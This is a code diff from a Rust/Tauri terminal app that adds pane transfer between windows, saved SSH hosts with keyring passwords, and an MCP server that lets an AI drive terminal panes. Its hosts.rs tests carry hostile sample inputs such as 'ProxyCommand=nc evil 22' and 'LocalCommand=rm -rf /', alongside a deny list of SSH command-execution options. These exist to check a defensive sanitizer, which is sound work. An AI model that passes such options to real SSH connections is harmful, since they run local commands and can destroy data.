data_b64: String,
) -> Result<(), String> {
@ -42,7 +47,7 @@ pub async fn write_to_pane(
#[tauri::command]
pub async fn resize_pane(
manager: tauri::State<'_, PtyManager>,
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
cols: u16,
rows: u16,
@ -52,12 +57,171 @@ pub async fn resize_pane(
#[tauri::command]
pub async fn kill_pane(
manager: tauri::State<'_, PtyManager>,
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
) -> Result<(), String> {
manager.kill(id).map_err(|e| e.to_string())
}
/// Bump the per-pane "do not kill during transfer" refcount. Called by the
/// source window just before removing the leaf from its tree (which triggers
/// React to unmount XtermPane, which calls `kill_pane`). The kill is then a
/// no-op until {@link claim_pane} drops the refcount.
#[tauri::command]
pub async fn mark_pane_transferring(
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
) -> Result<(), String> {
manager.mark_transferring(id);
Ok(())
}
/// Drop the transfer refcount one. Called by the target window's XtermPane
/// mount once it has subscribed to the pane's events and replayed the
/// scrollback ring — at which point the PTY is safely "owned" by the
/// target.
#[tauri::command]
pub async fn claim_pane(
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
) -> Result<(), String> {
manager.claim(id);
Ok(())
}
/// Return the per-pane scrollback ring snapshot as base64. The target
/// window's XtermPane writes it into xterm.js BEFORE attaching the live
/// pane://{id}/data listener, so the user sees recent output (covers
/// "Claude is in the middle of a thought" — a transferred pane that's
/// idle shouldn't look blank). Bounded by PANE_RING_CAPACITY (~256 KiB).
#[tauri::command]
pub async fn get_pane_ring(
manager: tauri::State<'_, Arc<PtyManager>>,
id: PaneId,
) -> Result<String, String> {
let ring = manager
.ring(id)
.ok_or_else(|| format!("no pane with id {id}"))?;
let (bytes, _seq) = ring.lock().snapshot();
Ok(B64.encode(&bytes))
}
/// Spawn a new app window and stash the pending-init payload keyed by the
/// new window's label. The target window pulls it via
/// {@link take_pending_window_init} during App mount.
///
/// Returns the new window's label so the caller can correlate.
#[tauri::command]
pub async fn create_pane_window(
app: AppHandle,
pendings: tauri::State<'_, Arc<PendingInits>>,
payload: PendingInit,
) -> Result<String, String> {
// Generate a label that's deterministic-but-unique. Tauri requires
// labels to be ASCII-alphanumeric + dashes/underscores.
let label = format!(
"pane-window-{}",
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_micros())
.unwrap_or(0)
);
// Stash BEFORE building the window — the target may finish bootstrapping
// and call take_pending_window_init before we return from build().
pendings.by_label.lock().insert(label.clone(), payload);
// Position the new window offset from the source's outer rect so it
// doesn't land exactly on top. If we can't query the source, fall back
// to the OS-default (center).
let (px, py, w, h) = source_window_geometry(&app);
let mut builder = WebviewWindowBuilder::new(
&app,
label.clone(),
WebviewUrl::App("index.html".into()),
)
.title("tiletopia")
.inner_size(w, h)
.min_inner_size(480.0, 320.0)
.resizable(true)
.decorations(true)
.visible(true);
if let (Some(x), Some(y)) = (px, py) {
builder = builder.position(x + 60.0, y + 60.0);
} else {
builder = builder.center();
}
if let Err(e) = builder.build() {
// Clean up our pending entry so we don't leak it.
pendings.by_label.lock().remove(&label);
return Err(format!("create webview window: {e}"));
}
Ok(label)
}
/// Read and remove the pending-init for the current window. Returns None
/// when there is no pending payload (main window startup; window opened
/// without a transfer; second call after the first consumed it).
#[tauri::command]
pub async fn take_pending_window_init(
pendings: tauri::State<'_, Arc<PendingInits>>,
label: String,
) -> Result<Option<PendingInit>, String> {
Ok(pendings.by_label.lock().remove(&label))
}
/// Push this window's workspaces snapshot to the backend aggregator. Called
/// every time the React state changes (debounced inside Rust); the next
/// debounce tick writes the aggregated envelope to disk.
///
/// `workspaces_json` is the per-window list as JSON (an array of
/// `{ id, name, tree }` objects — matches the frontend's envelope.workspaces
/// shape). Stored as serde Values so this module doesn't need to know
/// anything about the tree shape.
#[tauri::command]
pub async fn push_window_workspaces(
app: AppHandle,
state: tauri::State<'_, Arc<WindowsState>>,
label: String,
workspaces_json: String,
) -> Result<(), String> {
let parsed: serde_json::Value = serde_json::from_str(&workspaces_json)
.map_err(|e| format!("invalid workspaces JSON: {e}"))?;
let arr = parsed
.as_array()
.ok_or_else(|| "workspaces JSON must be an array".to_string())?;
let owned = arr.to_vec();
let state_arc: Arc<WindowsState> = (*state).clone();
state_arc.push(app, label, owned);
Ok(())
}
/// Best-effort: read outer position + inner size of the main window so the
/// new window opens nearby instead of slamming the OS default. Returns
/// (Some(x), Some(y), w, h) when available; falls back to a reasonable
/// default size when the main window query fails.
fn source_window_geometry(app: &AppHandle) -> (Option<f64>, Option<f64>, f64, f64) {
// Try the focused window first, then fall back to the main one.
let win = app
.webview_windows()
.into_iter()
.find_map(|(_, w)| if w.is_focused().unwrap_or(false) { Some(w) } else { None })
.or_else(|| app.get_webview_window("main"));
let Some(win) = win else {
return (None, None, 1100.0, 700.0);
};
let pos = win.outer_position().ok();
let size = win.inner_size().ok();
let scale = win.scale_factor().unwrap_or(1.0);
let w = size.as_ref().map(|s| s.width as f64 / scale).unwrap_or(1100.0);
let h = size.as_ref().map(|s| s.height as f64 / scale).unwrap_or(700.0);
let px = pos.as_ref().map(|p| p.x as f64 / scale);
let py = pos.as_ref().map(|p| p.y as f64 / scale);
(px, py, w, h)
}
/// Write the workspace JSON to `%APPDATA%\com.megaproxy.tiletopia\workspace.json`.
/// Writes to a `.tmp` and renames over the real file so a crash mid-write
/// can't leave a partial file readable.
@ -92,3 +256,209 @@ pub async fn load_workspace(app: AppHandle) -> Result<Option<String>, String> {
let s = std::fs::read_to_string(&path).map_err(|e| format!("read: {e}"))?;
Ok(Some(s))
}
#[tauri::command]
pub async fn list_ssh_hosts(app: AppHandle) -> Result<Vec<SshHostView>, String> {
let raw = hosts::load(&app).map_err(|e| e.to_string())?;
Ok(raw
.into_iter()
.map(|h| {
let has_password = creds::has(&h.id);
SshHostView { host: h, has_password }
})
.collect())
}
#[tauri::command]
pub async fn save_ssh_hosts(app: AppHandle, hosts: Vec<SshHost>) -> Result<(), String> {
// Sweep orphaned credentials: any host id that existed before this call
// but isn't in the new list gets its keyring entry deleted. Saves the
// frontend from having to diff and call delete_host_password itself.
if let Ok(prior) = crate::hosts::load(&app) {
let new_ids: std::collections::HashSet<&str> =
hosts.iter().map(|h| h.id.as_str()).collect();
for old in &prior {
if !new_ids.contains(old.id.as_str()) {
if let Err(e) = creds::delete(&old.id) {
tracing::warn!("orphan credential cleanup failed for {}: {e}", old.id);
}
}
}
}
crate::hosts::save(&app, &hosts).map_err(|e| e.to_string())
}
#[tauri::command]
pub async fn set_host_password(host_id: String, password: String) -> Result<(), String> {
creds::set(&host_id, &password).map_err(|e| e.to_string())
}
#[tauri::command]
pub async fn delete_host_password(host_id: String) -> Result<(), String> {
creds::delete(&host_id).map_err(|e| e.to_string())
}
#[tauri::command]
pub async fn has_host_password(host_id: String) -> Result<bool, String> {
Ok(creds::has(&host_id))
}
// ---- MCP server lifecycle --------------------------------------------------
#[derive(serde::Serialize)]
pub struct McpStatus {
pub running: bool,
pub url: Option<String>,
pub token: Option<String>,
}
fn server_status(handle: &McpServerHandle) -> McpStatus {
let g = handle.0.lock();
match g.as_ref() {
Some(srv) => McpStatus {
running: true,
url: Some(format!("http://{}/mcp", srv.addr)),
token: Some(srv.token.clone()),
},
None => McpStatus {
running: false,
url: None,
token: None,
},
}
}
#[tauri::command]
pub async fn mcp_start(
app: AppHandle,
ptys: tauri::State<'_, Arc<PtyManager>>,
state: tauri::State<'_, Arc<RwLock<McpState>>>,
handle: tauri::State<'_, McpServerHandle>,
pending: tauri::State<'_, Arc<PendingActions>>,
) -> Result<McpStatus, String> {
{
let g = handle.0.lock();
if g.is_some() {
return Ok(server_status(&handle));
}
}
let ptys_arc: Arc<PtyManager> = (*ptys).clone();
let state_arc: Arc<RwLock<McpState>> = (*state).clone();
let pending_arc: Arc<PendingActions> = (*pending).clone();
let running: RunningServer = mcp::start_server(app, ptys_arc, state_arc, pending_arc)
.await
.map_err(|e| e.to_string())?;
{
let mut g = handle.0.lock();
*g = Some(running);
}
Ok(server_status(&handle))
}
#[tauri::command]
pub async fn mcp_stop(
handle: tauri::State<'_, McpServerHandle>,
) -> Result<McpStatus, String> {
mcp::stop_server(&handle);
Ok(server_status(&handle))
}
/// Mint a fresh bearer token and persist it. If the server is currently
/// running, restart it so the new token takes effect (the existing auth
/// middleware captured the old token by value).
#[tauri::command]
pub async fn mcp_regenerate_token(
app: AppHandle,
ptys: tauri::State<'_, Arc<PtyManager>>,
state: tauri::State<'_, Arc<RwLock<McpState>>>,
handle: tauri::State<'_, McpServerHandle>,
pending: tauri::State<'_, Arc<PendingActions>>,
) -> Result<McpStatus, String> {
let was_running = handle.0.lock().is_some();
mcp::regenerate_token(&app).map_err(|e| e.to_string())?;
if was_running {
mcp::stop_server(&handle);
let ptys_arc: Arc<PtyManager> = (*ptys).clone();
let state_arc: Arc<RwLock<McpState>> = (*state).clone();
let pending_arc: Arc<PendingActions> = (*pending).clone();
let running: RunningServer =
mcp::start_server(app, ptys_arc, state_arc, pending_arc)
.await
.map_err(|e| e.to_string())?;
*handle.0.lock() = Some(running);
}
Ok(server_status(&handle))
}
#[tauri::command]
pub async fn mcp_status(
handle: tauri::State<'_, McpServerHandle>,
) -> Result<McpStatus, String> {
Ok(server_status(&handle))
}
/// Frontend pushes the gated mirror after every tree/host change. Backend
/// caches it for MCP responses — the MCP server only ever sees what the
/// frontend chose to mirror (default-deny per-leaf gate).
#[tauri::command]
pub async fn mcp_update_state(
state: tauri::State<'_, Arc<RwLock<McpState>>>,
mirror: McpMirror,
) -> Result<(), String> {
let mut g = state.write().await;
g.mirror = mirror;
Ok(())
}
// ---- MCP action-reply + policy commands ------------------------------------
/// Frontend calls this after handling an `mcp://request` event.
/// `result` is JSON on success, an error string on failure/rejection.
/// If `request_id` is unknown (stale or already timed out), this is a no-op
/// — we log a warning and return Ok so the frontend doesn't see an error.
#[tauri::command]
pub async fn mcp_action_reply(
pending: tauri::State<'_, Arc<PendingActions>>,
request_id: String,
result: Result<serde_json::Value, String>,
) -> Result<(), String> {
let sender = pending.0.lock().remove(&request_id);
match sender {
Some(tx) => {
// If the receiver has already been dropped (e.g. timeout fired),
// the send will fail — that's fine, just ignore it.
let _ = tx.send(result);
tracing::debug!(request_id = %request_id, "mcp_action_reply: sent");
}
None => {
tracing::warn!(
request_id = %request_id,
"mcp_action_reply: unknown request_id (stale or already timed out) — ignoring"
);
}
}
Ok(())
}
/// Load the current MCP policy. Returns the policy as a JSON-serialisable
/// struct so the settings UI can display and edit it.
#[tauri::command]
pub async fn mcp_policy_load(app: AppHandle) -> Result<McpPolicy, String> {
crate::mcp_policy::load_or_init(&app).map_err(|e| e.to_string())
}
/// Persist an updated MCP policy. Validates structure by deserialising into
/// McpPolicy before writing so a malformed payload can't corrupt the file.
#[tauri::command]
pub async fn mcp_policy_save(app: AppHandle, policy: McpPolicy) -> Result<(), String> {
crate::mcp_policy::save(&app, &policy).map_err(|e| e.to_string())
}
/// Return the human-readable labels of the compiled-in hard-deny rules so
/// the Policy tab's "Always blocked" section can render them without
/// duplicating the list in TypeScript (where it had already drifted from
/// the backend twice this week).
#[tauri::command]
pub async fn mcp_hard_deny_labels() -> Result<Vec<&'static str>, String> {
Ok(crate::mcp_policy::hard_deny_rules().to_vec())
}

46
src-tauri/src/creds.rs Normal file
View file

@ -0,0 +1,46 @@
//! Saved SSH-host credentials. Backed by Windows Credential Manager via
//! `keyring-core` + `windows-native-keyring-store` — passwords are DPAPI-
//! encrypted at rest and scoped to the user account. Never written to
//! disk in plaintext, never logged, never sent to the frontend.
use anyhow::{Context, Result};
use keyring_core::{Entry, Error as KeyringError};
const SERVICE: &str = "tiletopia";
fn target_for(host_id: &str) -> String {
format!("ssh-host:{host_id}")
}
fn entry(host_id: &str) -> Result<Entry> {
Entry::new(SERVICE, &target_for(host_id))
.with_context(|| format!("create keyring entry for {host_id}"))
}
pub fn set(host_id: &str, password: &str) -> Result<()> {
entry(host_id)?
.set_password(password)
.with_context(|| format!("write credential for {host_id}"))
}
pub fn get(host_id: &str) -> Result<Option<String>> {
match entry(host_id)?.get_password() {
Ok(p) => Ok(Some(p)),
Err(KeyringError::NoEntry) => Ok(None),
Err(e) => Err(anyhow::Error::from(e)
.context(format!("read credential for {host_id}"))),
}
}
pub fn delete(host_id: &str) -> Result<()> {
match entry(host_id)?.delete_credential() {
Ok(()) => Ok(()),
Err(KeyringError::NoEntry) => Ok(()),
Err(e) => Err(anyhow::Error::from(e)
.context(format!("delete credential for {host_id}"))),
}
}
pub fn has(host_id: &str) -> bool {
matches!(get(host_id), Ok(Some(_)))
}

291
src-tauri/src/hosts.rs Normal file
View file

@ -0,0 +1,291 @@
//! Saved SSH hosts. Persisted to `%APPDATA%\com.megaproxy.tiletopia\hosts.json`
//! alongside `workspace.json`. The frontend owns the in-memory state and the
//! add/edit/delete UX; the backend just reads/writes the whole list.
use std::path::PathBuf;
use anyhow::{Context, Result};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Manager};
const HOSTS_FILE: &str = "hosts.json";
/// What `list_ssh_hosts` returns: the saved host plus a flag derived from
/// keyring (true iff a password is stored under this host's id). The flag
/// is read-only — saving a host doesn't touch the credential store. See
/// the dedicated set/delete password commands for that.
#[derive(Debug, Clone, Serialize)]
pub struct SshHostView {
#[serde(flatten)]
pub host: SshHost,
#[serde(rename = "hasPassword")]
pub has_password: bool,
}
/// One saved host. Fields beyond `hostname` are optional; ssh.exe will fall
/// back to `~/.ssh/config` and its own defaults for anything we don't pass.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct SshHost {
pub id: String,
pub label: String,
pub hostname: String,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub user: Option<String>,
#[serde(default, skip_serializing_if = "Option::is_none")]
pub port: Option<u16>,
#[serde(
default,
rename = "identityFile",
skip_serializing_if = "Option::is_none"
)]
pub identity_file: Option<String>,
#[serde(
default,
rename = "jumpHost",
skip_serializing_if = "Option::is_none"
)]
pub jump_host: Option<String>,
#[serde(
default,
rename = "extraArgs",
skip_serializing_if = "Option::is_none"
)]
pub extra_args: Option<Vec<String>>,
}
fn hosts_path(app: &AppHandle) -> Result<PathBuf> {
let dir = app
.path()
.app_config_dir()
.map_err(|e| anyhow::anyhow!("app_config_dir: {e}"))?;
Ok(dir.join(HOSTS_FILE))
}
pub fn load(app: &AppHandle) -> Result<Vec<SshHost>> {
let path = hosts_path(app)?;
if !path.exists() {
return Ok(Vec::new());
}
let raw = std::fs::read_to_string(&path).context("read hosts.json")?;
let hosts: Vec<SshHost> = serde_json::from_str(&raw).context("parse hosts.json")?;
Ok(hosts)
}
pub fn save(app: &AppHandle, hosts: &[SshHost]) -> Result<()> {
let path = hosts_path(app)?;
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir).context("create_dir_all")?;
}
let tmp = path.with_extension("json.tmp");
let json = serde_json::to_string_pretty(hosts).context("serialize hosts")?;
std::fs::write(&tmp, json.as_bytes()).context("write tmp hosts.json")?;
// `std::fs::rename` is atomic on Unix and uses MoveFileEx with
// REPLACE_EXISTING on Windows — same pattern as save_workspace.
std::fs::rename(&tmp, &path).context("rename hosts.json")?;
Ok(())
}
/// Reject `-o` options that would let an attacker turn an SSH connect into
/// local command execution. CVE-2023-51385 class — `ProxyCommand`,
/// `LocalCommand`, `KnownHostsCommand`, and `PermitLocalCommand=yes` are all
/// shell-invocation primitives that fire on `ssh.exe` startup regardless of
/// what happens on the remote side. The MCP `add_host` tool runs this on
/// any extraArgs Claude tries to save; the host manager UI is unrestricted
/// since the user has full agency over manually-typed hosts.
///
/// Recognises both `-o KEY=VAL` (two args) and `-oKEY=VAL` (joined),
/// case-insensitive on the key. Returns Ok on safe args; Err with the
/// offending arg + a human-readable reason otherwise.
pub fn sanitize_extra_args(args: &[String]) -> Result<(), String> {
let mut i = 0;
while i < args.len() {
let arg = &args[i];
if arg == "-o" {
if let Some(next) = args.get(i + 1) {
if let Some(reason) = check_o_value(next) {
return Err(format!("rejected '-o {next}': {reason}"));
}
}
i += 2;
continue;
}
if let Some(rest) = arg.strip_prefix("-o") {
if let Some(reason) = check_o_value(rest) {
return Err(format!("rejected '{arg}': {reason}"));
}
}
i += 1;
}
Ok(())
}
/// Inspect an `-o` payload (the part after `-o`, e.g. `ProxyCommand=...`
/// or `ProxyCommand ...`). Returns Some(reason) if the key is one of the
/// command-execution primitives; None for everything else.
fn check_o_value(spec: &str) -> Option<&'static str> {
let split = spec
.find(|c: char| c == '=' || c.is_whitespace())
.unwrap_or(spec.len());
let key = &spec[..split];
let value = spec[split..].trim_start_matches(|c: char| c == '=' || c.is_whitespace());
match key.to_ascii_lowercase().as_str() {
"proxycommand" => {
Some("ProxyCommand runs a shell command on connect (local RCE primitive)")
}
"localcommand" => {
Some("LocalCommand runs a shell command on connect (local RCE primitive)")
}
"knownhostscommand" => Some(
"KnownHostsCommand runs a shell command at handshake (CVE-2023-51385 class)",
),
"permitlocalcommand" if value.eq_ignore_ascii_case("yes") => {
Some("PermitLocalCommand=yes enables LocalCommand RCE")
}
_ => None,
}
}
#[cfg(test)]
mod tests {
use super::*;
fn args(a: &[&str]) -> Vec<String> {
a.iter().map(|s| s.to_string()).collect()
}
// ---- positive cases (safe, must pass) ---------------------------------
#[test]
fn empty_args_ok() {
assert!(sanitize_extra_args(&[]).is_ok());
}
#[test]
fn server_alive_interval_ok() {
assert!(sanitize_extra_args(&args(&["-o", "ServerAliveInterval=30"])).is_ok());
}
#[test]
fn server_alive_interval_joined_ok() {
assert!(sanitize_extra_args(&args(&["-oServerAliveInterval=30"])).is_ok());
}
#[test]
fn batch_mode_ok() {
assert!(sanitize_extra_args(&args(&["-o", "BatchMode=yes"])).is_ok());
}
#[test]
fn strict_host_key_checking_ok() {
assert!(
sanitize_extra_args(&args(&["-o", "StrictHostKeyChecking=accept-new"])).is_ok()
);
}
#[test]
fn permit_local_command_no_ok() {
// PermitLocalCommand=no (or anything other than yes) is the default
// and harmless.
assert!(sanitize_extra_args(&args(&["-o", "PermitLocalCommand=no"])).is_ok());
}
#[test]
fn flag_without_o_ok() {
// -F /tmp/conf and -i ~/.ssh/key are legitimate ssh flags; we only
// gate -o options.
assert!(sanitize_extra_args(&args(&["-v", "-F", "/etc/ssh/ssh_config"])).is_ok());
}
#[test]
fn many_safe_options_ok() {
assert!(sanitize_extra_args(&args(&[
"-o", "ServerAliveInterval=30",
"-o", "ServerAliveCountMax=3",
"-o", "Compression=yes",
]))
.is_ok());
}
// ---- negative cases (must reject) -------------------------------------
#[test]
fn proxy_command_rejected() {
let err = sanitize_extra_args(&args(&["-o", "ProxyCommand=ssh evil exec %h %p"]))
.unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn proxy_command_joined_rejected() {
let err = sanitize_extra_args(&args(&["-oProxyCommand=nc evil 22"])).unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn proxy_command_lowercase_rejected() {
// SSH treats -o keys case-insensitively; sanitiser must too.
let err = sanitize_extra_args(&args(&["-o", "proxycommand=evil"])).unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn proxy_command_mixed_case_rejected() {
let err = sanitize_extra_args(&args(&["-o", "PROXYCommand=evil"])).unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn proxy_command_space_separated_rejected() {
// -o supports both KEY=VAL and "KEY VAL" forms.
let err =
sanitize_extra_args(&args(&["-o", "ProxyCommand /bin/evil"])).unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn local_command_rejected() {
let err =
sanitize_extra_args(&args(&["-o", "LocalCommand=rm -rf /"])).unwrap_err();
assert!(err.contains("LocalCommand"), "err={err}");
}
#[test]
fn local_command_joined_rejected() {
let err = sanitize_extra_args(&args(&["-oLocalCommand=evil"])).unwrap_err();
assert!(err.contains("LocalCommand"), "err={err}");
}
#[test]
fn known_hosts_command_rejected() {
let err =
sanitize_extra_args(&args(&["-o", "KnownHostsCommand=evil"])).unwrap_err();
assert!(err.contains("KnownHostsCommand"), "err={err}");
}
#[test]
fn permit_local_command_yes_rejected() {
// PermitLocalCommand=yes unlocks the LocalCommand vector — must be
// rejected even though LocalCommand itself isn't set in this snippet.
let err =
sanitize_extra_args(&args(&["-o", "PermitLocalCommand=yes"])).unwrap_err();
assert!(err.contains("PermitLocalCommand"), "err={err}");
}
#[test]
fn bad_arg_in_middle_rejected() {
let err = sanitize_extra_args(&args(&[
"-o", "ServerAliveInterval=30",
"-o", "ProxyCommand=evil",
"-o", "Compression=yes",
]))
.unwrap_err();
assert!(err.contains("ProxyCommand"), "err={err}");
}
#[test]
fn trailing_dash_o_without_value_ok() {
// -o with no following value is malformed; ssh will reject it. We
// just skip past so we don't panic on the index.
assert!(sanitize_extra_args(&args(&["-o"])).is_ok());
}
}

View file

@ -1,9 +1,23 @@
//! Library entry point. `main.rs` calls `run()`.
mod commands;
mod creds;
mod hosts;
mod mcp;
mod mcp_policy;
mod pty;
mod window_state;
use std::sync::Arc;
// `Manager` trait must be in scope to call `.app_handle()` on the `&Window`
// passed to the `on_window_event` closure below. Same pattern as the
// `Emitter` trait needed for `.emit()` (see 2026-05-26 PR-1 session log).
use tauri::Manager;
use crate::mcp::{McpServerHandle, McpState, PendingActions};
use crate::pty::PtyManager;
use crate::window_state::{PendingInits, WindowsState, MAIN_WINDOW_LABEL};
pub fn run() {
let _ = tracing_subscriber::fmt()
@ -14,17 +28,131 @@ pub fn run() {
.with_writer(std::io::stderr)
.try_init();
// keyring-core 1.x requires explicit store registration before any
// Entry::new() call. We're Windows-only so the Credential Manager
// backend is the only choice. Failure here means SSH passwords won't
// be retrievable — log and continue (host configs still work without
// saved passwords; users just see the prompt and type it manually).
match windows_native_keyring_store::Store::new() {
Ok(store) => keyring_core::set_default_store(store),
Err(e) => tracing::warn!("keyring store init failed: {e}"),
}
// PtyManager and McpState are shared with the MCP server, so register
// them as Arc<T> rather than the plain T. Tauri commands access them
// via `tauri::State<'_, Arc<T>>` and deref / clone as needed.
let ptys: Arc<PtyManager> = Arc::new(PtyManager::new());
let mcp_state: Arc<tokio::sync::RwLock<McpState>> =
Arc::new(tokio::sync::RwLock::new(McpState::default()));
// Pending action registry — separate managed state so mcp_action_reply can
// grab it without needing to lock McpState or reach into TileService.
let pending_actions: Arc<PendingActions> = Arc::new(PendingActions::default());
// Cross-window workspace aggregator: every window pushes its tab list
// here; backend debounces + writes the merged envelope to workspace.json.
let windows_state: Arc<WindowsState> = Arc::new(WindowsState::default());
// Pane-transfer pending-init registry: source window stashes a payload
// keyed by the new window's label; target window pulls it during mount.
let pending_inits: Arc<PendingInits> = Arc::new(PendingInits::default());
let windows_state_for_event = Arc::clone(&windows_state);
let pending_inits_for_event = Arc::clone(&pending_inits);
tauri::Builder::default()
.manage(PtyManager::new())
.plugin(tauri_plugin_clipboard_manager::init())
.plugin(tauri_plugin_opener::init())
.manage(ptys)
.manage(mcp_state)
.manage(McpServerHandle::default())
.manage(pending_actions)
.manage(windows_state)
.manage(pending_inits)
.on_window_event(move |window, event| {
let label = window.label().to_string();
// Window-lifecycle tracing for the multi-window close behavior.
// Silent at the default `info` level; run with
// `RUST_LOG=tiletopia=debug` to confirm the event sequence when a
// window closes (which windows the runtime still tracks, whether a
// close triggers an app-exit). Verified against tauri-runtime-wry
// 2.11: closing a non-last window emits NO ExitRequested, so other
// windows survive; only the last window's Destroyed triggers exit.
match event {
tauri::WindowEvent::CloseRequested { .. }
| tauri::WindowEvent::Destroyed => {
let open: Vec<String> = window
.app_handle()
.webview_windows()
.keys()
.cloned()
.collect();
tracing::debug!("window {event:?} label={label} open_windows={open:?}");
}
_ => {}
}
// When a non-main window closes, drop its workspaces from the
// aggregator AND any unconsumed pending-init payload so neither
// resurrect on next launch. Matches Chrome-style "closing a
// detached window discards its tabs" intent.
if let tauri::WindowEvent::CloseRequested { .. } = event {
if label != MAIN_WINDOW_LABEL {
pending_inits_for_event.by_label.lock().remove(&label);
windows_state_for_event
.forget(window.app_handle().clone(), &label);
}
}
})
.invoke_handler(tauri::generate_handler![
commands::list_distros,
commands::spawn_pane,
commands::write_to_pane,
commands::resize_pane,
commands::kill_pane,
commands::mark_pane_transferring,
commands::claim_pane,
commands::get_pane_ring,
commands::create_pane_window,
commands::take_pending_window_init,
commands::push_window_workspaces,
commands::save_workspace,
commands::load_workspace,
commands::list_ssh_hosts,
commands::save_ssh_hosts,
commands::set_host_password,
commands::delete_host_password,
commands::has_host_password,
commands::mcp_start,
commands::mcp_stop,
commands::mcp_status,
commands::mcp_regenerate_token,
commands::mcp_update_state,
commands::mcp_action_reply,
commands::mcp_policy_load,
commands::mcp_policy_save,
commands::mcp_hard_deny_labels,
])
.run(tauri::generate_context!())
.expect("error while running tauri application");
.build(tauri::generate_context!())
.expect("error while building tauri application")
.run(|app_handle, event| {
// Keep the process alive as long as ANY window is open. Every
// window (main + drag-out "daughter" windows) shares one process,
// and every PTY is owned by the single PtyManager in it. Tauri/wry
// emits `ExitRequested { code: None }` only when the LAST window is
// destroyed (tauri-runtime-wry 2.11 emits it solely when the window
// store goes empty); an explicit `AppHandle::exit(n)` carries
// `code: Some(n)`. By the time this fires, the closed window has
// already been removed from `webview_windows()`, so the check is
// accurate. We only ever reach the empty-set case here, but guard
// defensively: if any window somehow remains, refuse the exit so a
// stray close can't tear the process down and orphan live PTYs.
// An explicit exit (Some) is always honored.
if let tauri::RunEvent::ExitRequested { code, api, .. } = event {
let open: Vec<String> =
app_handle.webview_windows().keys().cloned().collect();
tracing::debug!("RunEvent::ExitRequested code={code:?} open_windows={open:?}");
if code.is_none() && !open.is_empty() {
api.prevent_exit();
}
}
});
}

1536
src-tauri/src/mcp.rs Normal file

File diff suppressed because it is too large Load diff

1403
src-tauri/src/mcp_policy.rs Normal file

File diff suppressed because it is too large Load diff

View file

@ -1,20 +1,95 @@
//! PTY backend. Spawns `wsl.exe` (or any command) through portable-pty,
//! reads its output on a background thread, and forwards chunks to the
//! frontend as `pane://{id}/data` events.
//! PTY backend. Spawns a shell (`wsl.exe`, `powershell.exe`, or `ssh.exe`)
//! through portable-pty, reads its output on a background thread, and
//! forwards chunks to the frontend as `pane://{id}/data` events.
use std::collections::HashMap;
use std::collections::{HashMap, VecDeque};
use std::io::{Read, Write};
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
use anyhow::{anyhow, Context, Result};
use base64::{engine::general_purpose::STANDARD as B64, Engine as _};
use parking_lot::Mutex;
use portable_pty::{CommandBuilder, MasterPty, PtySize, native_pty_system};
use serde::Serialize;
use portable_pty::{native_pty_system, CommandBuilder, MasterPty, PtySize};
use serde::{Deserialize, Serialize};
use tauri::{AppHandle, Emitter};
use crate::creds;
pub type PaneId = u64;
/// Discriminated union describing what to spawn into a fresh PTY. Serialized
/// as `{ kind: "wsl" | "powershell" | "ssh", ... }` from the frontend.
/// Also reused as the schema for the MCP `spawn_pane` tool — `JsonSchema`
/// lets rmcp render it for Claude; `Serialize` lets the backend bounce it
/// back into the `mcp://request` event payload for the frontend handler.
#[derive(Debug, Clone, Deserialize, Serialize, schemars::JsonSchema)]
#[serde(tag = "kind", rename_all = "lowercase")]
pub enum SpawnSpec {
Wsl {
distro: Option<String>,
cwd: Option<String>,
},
Powershell,
Ssh {
host: String,
user: Option<String>,
port: Option<u16>,
#[serde(rename = "identityFile")]
identity_file: Option<String>,
#[serde(rename = "jumpHost")]
jump_host: Option<String>,
#[serde(rename = "extraArgs")]
extra_args: Option<Vec<String>>,
/// SshHost.id (if any) — backend uses this to fetch a saved
/// password from keyring at spawn time. Never sent back to the
/// frontend.
#[serde(rename = "hostId")]
host_id: Option<String>,
},
}
/// Type alias for the shared writer handle. Wrapped in Arc<Mutex<>> so the
/// reader thread can also take it briefly to autotype a saved password at
/// the SSH prompt.
type SharedWriter = Arc<Mutex<Box<dyn Write + Send>>>;
/// Per-pane scrollback ring exposed to the MCP server. Capped — we drop the
/// oldest bytes when full. `seq` is a monotonic byte counter that wraps at
/// u64; the MCP `read_pane` tool uses it for incremental polling and the
/// `wait_for_idle` tool uses it to detect silence.
pub const PANE_RING_CAPACITY: usize = 256 * 1024;
pub struct PaneRing {
buf: VecDeque<u8>,
seq: u64,
}
impl PaneRing {
fn new() -> Self {
Self {
buf: VecDeque::with_capacity(PANE_RING_CAPACITY),
seq: 0,
}
}
fn push(&mut self, bytes: &[u8]) {
for &b in bytes {
if self.buf.len() == PANE_RING_CAPACITY {
self.buf.pop_front();
}
self.buf.push_back(b);
}
self.seq = self.seq.wrapping_add(bytes.len() as u64);
}
/// Snapshot: current contents (oldest-first) + the seq counter.
pub fn snapshot(&self) -> (Vec<u8>, u64) {
(self.buf.iter().copied().collect(), self.seq)
}
}
/// What we keep alive for each spawned PTY.
///
/// `master` stays in scope to keep the PTY alive; we never write through it
@ -23,14 +98,27 @@ pub type PaneId = u64;
struct PaneHandle {
#[allow(dead_code)]
master: Box<dyn MasterPty + Send>,
writer: Box<dyn Write + Send>,
writer: SharedWriter,
#[allow(dead_code)]
child: Box<dyn portable_pty::Child + Send + Sync>,
/// Same Arc the reader thread appends into; the MCP server reads via
/// {@link PtyManager::ring}.
ring: Arc<Mutex<PaneRing>>,
}
pub struct PtyManager {
panes: Mutex<HashMap<PaneId, PaneHandle>>,
next_id: AtomicU64,
/// Per-pane "this PTY is mid-transfer between windows; do not kill it
/// even if some window's XtermPane unmounts" refcount. Incremented by
/// {@link mark_transferring} when a transfer begins; decremented by
/// {@link claim} when the target window finishes mounting. While >0,
